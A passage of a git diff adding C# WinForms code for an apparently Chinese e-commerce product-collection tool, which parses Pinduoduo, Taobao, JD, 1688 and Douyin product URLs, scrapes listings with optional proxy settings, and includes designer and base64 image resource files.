new System.Windows.Forms.Padding(2); + this.btnSearch.Name = "btnSearch"; + this.btnSearch.Size = new System.Drawing.Size(94, 29); + this.btnSearch.TabIndex = 378; + this.btnSearch.Text = "搜索"; + this.btnSearch.UseVisualStyleBackColor = false; + this.btnSearch.Click += new System.EventHandler(this.btnSearch_Click); + // + // CleanDataForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(972, 497); + this.Controls.Add(this.btnSearch); + this.Controls.Add(this.label1); + this.Controls.Add(this.chkIsUseResourcePack); + this.Controls.Add(this.chkIsUseProxy); + this.Controls.Add(this.pbPaste); + this.Controls.Add(this.buttonLoginPdd); + this.Controls.Add(this.pictureBox1); + this.Controls.Add(this.btnImport); + this.Controls.Add(this.txtProduct); + this.Controls.Add(this.labelX10); + this.Name = "CleanDataForm"; + this.Text = "CleanDataForm"; + this.Load += new System.EventHandler(this.CleanDataForm_Load); + ((System.ComponentModel.ISupportInitialize)(this.pbPaste)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + private DevComponents.DotNetBar.Controls.CheckBoxX chkIsUseProxy; + private System.Windows.Forms.PictureBox pbPaste; + private DevComponents.DotNetBar.ButtonX buttonLoginPdd; + private System.Windows.Forms.PictureBox pictureBox1; + private DevComponents.DotNetBar.ButtonX btnImport; + private DevComponents.DotNetBar.Controls.TextBoxX txtProduct; + private DevComponents.DotNetBar.LabelX labelX10; + private DevComponents.DotNetBar.Controls.CheckBoxX chkIsUseResourcePack; + private System.Windows.Forms.Label label1; + private UserControls.ButtonEx btnSearch; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/CleanDataForm.cs b/TEMUKJD/KJDForms/UploadForms/CleanDataForm.cs new file mode 100644 index 0000000..6533a5c --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/CleanDataForm.cs @@ -0,0 +1,442 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Param.FissionManage; +using AllBase.Model.Param.ProductManage; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.Api; +using Work.BLL.Upload; +using Work.CollectClass; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class CleanDataForm : Form + { + private string cleaningData = ""; + private string sFromUrl = ""; + private string path { get; set; } = "temp/FissionBackup.txt"; + private delegate ProductCollectBase deleTaoBaoCollect(ProductCollectBase pcb); + private delegate ProductCollectBase delePingDuoDuoCollect(TaobaoProductBase pcb); + private delegate void deleChangePicVisible(); + + public static List LstFissionForm = new List(); + + public CleanDataForm() + { + InitializeComponent(); + } + + private void CleanDataForm_Load(object sender, EventArgs e) + { + } + + private void btnSearch_Click(object sender, EventArgs e) + { + sFromUrl = cleaningData.Trim(); + // 读取本地看是否有备份文件 提示存在备用数据,是否载入,点是载入,点否丢弃并删除备用数据, + if (FileBase.Exists(path)) + { + if (BaseMsgForm.ShowConfirm("是否需要载入备份数据", "提示").DialogResult == DialogResult.OK) + { + //载入 + using (StreamReader str = new StreamReader(path, System.Text.Encoding.Default)) + { + sFromUrl += "\r\n" + str.ReadToEnd().Trim(); + } + } + else + { + //FileBase.Delete(path); + } + } + try + { + CollectProductFromUrl(); + } + catch (Exception ex) + { + BaseMsgForm.ShowError("未正确获取到商品信息!(请确认商品ID是否正确以及网络)"); + } + } + + private void btnImport_Click(object sender, EventArgs e) + { + BaseMsgForm.ShowInfo("格式1:商品地址\r\n" + + "格式2:关键词-----商品地址\r\n", "导入格式"); + + OpenFileDialog openFileDialog = new OpenFileDialog(); + openFileDialog.Filter = "文本文件(*.txt)|*.txt"; + openFileDialog.RestoreDirectory = true; + openFileDialog.FilterIndex = 1; + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + string fName = openFileDialog.FileName; + string line = string.Empty; + using (StreamReader sr = new StreamReader(openFileDialog.FileName, System.Text.Encoding.Default)) + { + txtProduct.Text = string.Empty; + txtProduct.Text = sr.ReadToEnd(); + } + } + } + + private void pbPaste_Click(object sender, EventArgs e) + { + IDataObject iData = Clipboard.GetDataObject(); + if (iData != null && iData.GetDataPresent(DataFormats.Text)) + { + txtProduct.Text = (string)iData.GetData(DataFormats.Text); + } + } + + private void CollectProductFromUrl(bool showLoading = true) + { + string url = sFromUrl.Split(new string[] { "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).FirstOrDefault(); + if (url == null) + { + BaseMsgForm.ShowError("无效网址!"); + return; + } + if (url.Contains("-----")) + { + url = url.Substring(url.IndexOf("-----") + 5); + } + ProductCollectBase proInfo = new ProductCollectBase { from_url = url }; + // 拼多多商品采集 + if (proInfo.from_url.Contains(@"yangkeduo.com")) + { + TaobaoProductBase tp = new TaobaoProductBase(); + tp.GoodsId = tp.FromId = GetIdFromURLByRegex(proInfo.from_url); + tp.FromType = "拼多多"; + if (tp.GoodsId.Equals(0)) + { + BaseMsgForm.ShowError("无效网址!"); + return; + } + if (showLoading) this.pictureBox1.Visible = true; + delePingDuoDuoCollect del_pddc = PddProductCollect; + del_pddc.BeginInvoke(tp, ProductCollectCompleted, del_pddc); + } + // 其他平台商品采集 + else + { + if (!AllBase.BaseClass.IsCloudBuyOrder) + { + // 非公司用户暂时关闭除拼多多以外所有商品上传 + BaseMsgForm.ShowError("无效网址!"); + return; + } + + proInfo.from_id = GetIdFromURLByRegex(proInfo.from_url); + if (proInfo.from_id.Equals(0)) + { + BaseMsgForm.ShowError("无效网址!"); + return; + } + + if (showLoading) this.pictureBox1.Visible = true; + + deleTaoBaoCollect del_tbc = ProductCollect; + del_tbc.BeginInvoke(proInfo, ProductCollectCompleted, del_tbc); + } + } + + private void ProductCollectCompleted(IAsyncResult ar) + { + if (ar == null) throw new ArgumentNullException("ar"); + deleTaoBaoCollect delTaoBaoCollect = ar.AsyncState as deleTaoBaoCollect; + delePingDuoDuoCollect delPinDuoDuo = ar.AsyncState as delePingDuoDuoCollect; + if (delTaoBaoCollect != null || delPinDuoDuo != null) + { + ProductCollectBase res; + if (delPinDuoDuo != null) + { + res = delPinDuoDuo.EndInvoke(ar); + } + else + { + res = delTaoBaoCollect.EndInvoke(ar); + } + + // 先判断是否存在page.html临时文件,存在就先删除。 + if (System.IO.File.Exists(System.IO.Directory.GetCurrentDirectory() + @"\page.html")) + { + System.IO.File.Delete(System.IO.Directory.GetCurrentDirectory() + @"\page.html"); + } + + // 调用php后台 + string createHtmlPath = Fission.creatFissionPage(res); + + ShowFormInUiThread(createHtmlPath, res); + } + } + + internal ProductCollectBase ProductCollect(ProductCollectBase pcb) + { + if (pcb.from_url.Contains("detail.1688.com")) + { + AlibabaProductGet proInfo = new AlibabaProductGet(pcb); + proInfo.Get(); + pcb.cat_id = FromTitleToCatTaobao.Get(pcb.name); + if (proInfo.Product.Images.Count == 0) + { + return null; + } + proInfo.Product.from = "阿里巴巴"; + return proInfo.Product; + } + + if (pcb.from_url.Contains("jinritemai.com")) + { + CollectDoyin cd = new CollectDoyin(pcb); + cd.GetProduct(); + if (!cd.GetSuccess) + { + BaseMsgForm.ShowInfo("采集失败,跳过:" + pcb.from_id + ":" + pcb.message); + return null; + } + if (cd.Product?.IsOnSale == false) + { + BaseMsgForm.ShowInfo("商品已下架:" + pcb.from_id); + return null; + } + cd.Product.from = "抖音"; + cd.Product.from_url = pcb.from_url; + return cd.Product; + } + + if (pcb.from_url.Contains("jd.com")) + { + bool isPassVerify = false; + retry: + ProductCollectBase proInfo = new ProductCollectBase + { + from_url = "https://item.m.jd.com/product/" + pcb.from_id + ".html", + from_id = Convert.ToInt64(pcb.from_id), + }; + JingXiCollect tm = new JingXiCollect(proInfo); + tm.IsUseProxy = GlobalConfig.FissionSettingParam.IsUseProxyIp; + tm.Get(); + if (!string.IsNullOrEmpty(JingXiCollect.VerifyCodeUrl)) + { + if (!isPassVerify && JingXiCollect.VerifyCodeUrl.Contains("wqs.jd.com/item/spider_check.shtml")) // 京喜采集验证码校验 by ttzhao 2020.6.29 + { + //Fission.JingXiVerify(JingXiCollect.VerifyCodeUrl); + //if (string.IsNullOrEmpty(JingXiCollect.VerifyCodeUrl)) + //{ + // isPassVerify = true; + // goto retry; + //} + } + BaseMsgForm.ShowInfo("获取失败,京东商品采集需要验证"); + return null; + } + else if ((tm.Product != null && tm.Product.Images.Count == 0) || tm.IsOnSale == false) + { + Invoke(new Action(() => + { + BaseMsgForm.ShowInfo("获取失败,商品不存在或不可展示"); + })); + return null; + } + tm.Product.from = "京喜"; + return tm.Product; + } + + TaobaoMobileCollect goodsFormInfo = new TaobaoMobileCollect(pcb); + goodsFormInfo.IsPurifyData = true; + try + { + goodsFormInfo.Get(); + } + catch (Exception ex) + { + LogSave.Add("淘宝商品采集出现异常:" + ex.Message + "-" + ex.StackTrace); + } + + goodsFormInfo.Product.from = "淘宝"; + return goodsFormInfo.Product; + } + + internal ProductCollectBase PddProductCollect(TaobaoProductBase tp) + { + int retryTime = 0; + ProductCollectBase proInfo; + + Retry: + PinduoduoProductCollect pdd = new PinduoduoProductCollect(Name, tp); + PinduoduoProductCollect.TempIds.Clear(); + pdd.IsUseProxy = GlobalConfig.FissionSettingParam.IsUseProxyIp; + pdd.Get(); + if (GlobalConfig.FissionSettingParam.IsUseProxyIp && pdd.IsOverdue) + { + BaseMsgForm.ShowInfo("代理ip套餐已过期", "提示"); + } + bool isResourceEnable = true; + if (GlobalConfig.FissionSettingParam.IsUseResourcePack) + { + //Func canContinue = PinDuoDuoHelperTemp.CanContinueCollectFunc((token) => { return token.ProductDetailStatus == TokenStatus.Valid; }, null, GlobalConfig.FissionSettingParam.IsUseResourcePack, null); + //if (!canContinue()) + //{ + // isResourceEnable = false; + // BaseMsgForm.ShowInfo("资源包打码不可用!", "提示"); + //} + } + if (pdd.IsNoToken) + { + if (GlobalConfig.FissionSettingParam.IsUseResourcePack && isResourceEnable == true && retryTime < 2) + { + retryTime++; + goto Retry; + } + else + BaseMsgForm.ShowInfo("请先登录拼多多或输入Token!", "提示"); + } + proInfo = pdd.pb; + proInfo.from_url = proInfo.from_url.Contains(@"mobile.yangkeduo.com") ? "http://mobile.yangkeduo.com/goods.html?goods_id=" + tp.GoodsId : "http://yangkeduo.com/goods.html?goods_id=" + tp.GoodsId; + return proInfo; + } + + internal long GetIdFromURLByRegex(string url) + { + try + { + if (url.Contains(@"yangkeduo.com")) + { + Regex pddurl = new Regex(@"[?&]goods_id=([^&#]+)"); + string id = pddurl.Match(url).ToString(); + //Regex idRegex = new Regex(@"[^0-9]+"); + string Num = Regex.Replace(id, @"[^0-9]+", ""); + return long.Parse(Num); + } + if (url.Contains(@"1688.com")) + { + string str = url.Substring(0, url.IndexOf(".html")).Replace(@"1688.com", ""); + string num = Regex.Replace(str, @"[^0-9]+", ""); + return long.Parse(num); + } + if (url.Contains("jd.com")) + { + //https://item.jd.com/69126349289.html + string str = url.Substring(url.IndexOf("jd.com/")).Replace(".html", ""); + string num = Regex.Replace(str, @"[^0-9]+", ""); + return long.Parse(num); + } + if (url.Contains("jinritemai.com")) + { + Regex pddurl = new Regex(@"[?&]id=([^&#]+)"); + string id = pddurl.Match(url).ToString(); + string Num = Regex.Replace(id, @"[^0-9]+", ""); + return long.Parse(Num); + } + Regex urlRegex = new Regex(@"[?&]id=([^&#]+)"); + string idStr = urlRegex.Match(url).ToString(); + //Regex idRegex = new Regex(@"[^0-9]+"); + string idNum = Regex.Replace(idStr, @"[^0-9]+", ""); + return long.Parse(idNum); + } + catch (Exception ex) + { + return 0; + } + } + + private void chkIsUseProxy_CheckedChanged(object sender, EventArgs e) + { + GlobalConfig.FissionSettingParam.IsUseProxyIp = chkIsUseProxy.Checked; + if (GlobalConfig.FissionSettingParam.IsUseProxyIp) + chkIsUseResourcePack.Checked = false; + + if (chkIsUseProxy.Checked) + { + //if (string.IsNullOrEmpty(GlobalConfig.ConfigParam.ProxyUrl)) + //{ + // BaseMsgForm.ShowInfo("请检测代理ip设置是否正确或过期"); + // chkIsUseProxy.Checked = false; + // return; + //} + //bool bo = PinDuoDuoHelperTemp.CheckProxyStatus(GlobalConfig.FissionSettingParam.IsUseProxyIp, null); + //if (!bo) + //{ + // chkIsUseProxy.Checked = false; + //} + } + + //StartUp.SaveFissionSettingParam(); + } + + private void txtProduct_TextChanged(object sender, EventArgs e) + { + if (txtProduct.Text.Length > 2000) + { + txtProduct.TextChanged -= txtProduct_TextChanged; + cleaningData = txtProduct.Text; + txtProduct.Text = cleaningData.Substring(0, 2000); + txtProduct.TextChanged += txtProduct_TextChanged; + } + else + { + cleaningData = txtProduct.Text; + } + if (this.cleaningData.Contains(@"yangkeduo.com")) + { + buttonLoginPdd.Visible = true; + } + else + { + buttonLoginPdd.Visible = false; + } + } + + private void ShowFormInUiThread(string createHtmlPath, ProductCollectBase detailData) + { + + Task.Run(() => + { + //获取所有类目 + //Invoke(new Action(() => + //{ + // label1.Visible = true; + //})); + //Fission.goodsCategoryList = Fission.GetShopGoodsCategories(); + Invoke(new Action(() => + { + Fission fs = new Fission(createHtmlPath, sFromUrl, null, detailData); + label1.Visible = false; + fs.FormLoadedEvent = formLoadEvent; + fs.Show(); + })); + }); + } + + private void formLoadEvent() + { + ChangePicVisible(); + } + + private void ChangePicVisible() + { + if (this.pictureBox1.InvokeRequired) + { + deleChangePicVisible delChangePic = ChangePicVisible; + this.pictureBox1.Invoke(delChangePic); + } + else + { + this.pictureBox1.Visible = false; + } + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/CleanDataForm.resx b/TEMUKJD/KJDForms/UploadForms/CleanDataForm.resx new file mode 100644 index 0000000..b957688 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/CleanDataForm.resx @@ -0,0 +1,218 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + R0lGODlhIAAgAOfzAAABAAACAAEEAAIFAQQHAgUIBAcJBQgLBwoMCAsNCgwPCw4QDA8RDRASDxETEBIU + ERMUEhQVExUWFBYYFRcYFhgZFxkbGBocGRscGhwdGx0fHB4fHR8gHiAhHyEjICIkISMkIiQlIyUnJCYo + JScoJigpJykrKCosKSstKiwtKy0uLC4vLS8xLjAyLzEzMDIzMTM0MjQ2MzU3NDY4NTc5Njg5Nzk6ODo7 + OTs9Ojw+Oz0/PD5APT9APkBBP0FCQEFDQUNFQkRGQ0VHREZIRUdJRkhJR0lKSEpLSUpMSkxOS01PTE5Q + TU9RTlBST1FTUFJUUVNUUlRVU1VWVFZXVVZYVVdZVllbWFpcWVtdWlxeW11fXF5gXV9hXmBiX2FjYGJk + YWNlYmRlY2VmZGZnZWdoZmhpZ2hqZ2lraGpsaWttamxua21vbG5wbW9xbnFzcHJ0cXN1cnR2c3V3dHZ4 + dXd5dnh6d3l7eHp8eXt9enx+e31/fH6AfX+BfoCCf4GDgIKEgYOFgoSGg4WHhIaIhYeJhoiKh4mLiIqM + iYuNioyOi42PjI6QjY+RjpCSj5GTkJKUkZOVkpSWk5WXlJaYlZeZlpial5qbmJudmZyem52fnJ6gnZ+h + nqCin6GjoKKkoaOloqSmo6WnpKaopaeppqiqp6mrqKqsqautqqyuq62vrK6wrbCyrrGzr7K0sbO1srS2 + s7W3tLa4tbe5tri6t7m7uLq8ubu9ury+u72/vL7BvcDCvsHDv8LEwcPFwsTGw8XHxMbIxcfJxsjKx8nL + yMrMycvOys3Py87QzM/RztDSz9HT0NLU0dPV0tTW09XX1NbY1dja1tnb19rc2dvd2tze293f3N7g3d/h + 3uDi3+Hk4OPl4eTm4+Xn5Obo5efp5ujq5+nr6Ors6evu6u3v6+7w7e/x7vDy7/Hz8PL08fP18vT38/b4 + 9Pf59vj69/n7+Pr8+fv9+vz/+/7//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + ACH/C05FVFNDQVBFMi4wAwEAAAAh+QQBCAD/ACwAAAAAIAAgAAAI/gDlCRxIsKDBgwgNwlvIsCHDhAgd + SmwI0eA7dxLRfWM3saK8d+CQ5UoG7p08eOxk+UEGTyBFiO+eATpy44igZu7koVPE49VDhxG70ckAoOgG + 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 + NKl8Qks3jC0UEAA7 + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/CommissionForm.Designer.cs b/TEMUKJD/KJDForms/UploadForms/CommissionForm.Designer.cs new file mode 100644 index 0000000..9efbaec --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/CommissionForm.Designer.cs @@ -0,0 +1,602 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class CommissionForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.btnStart = new 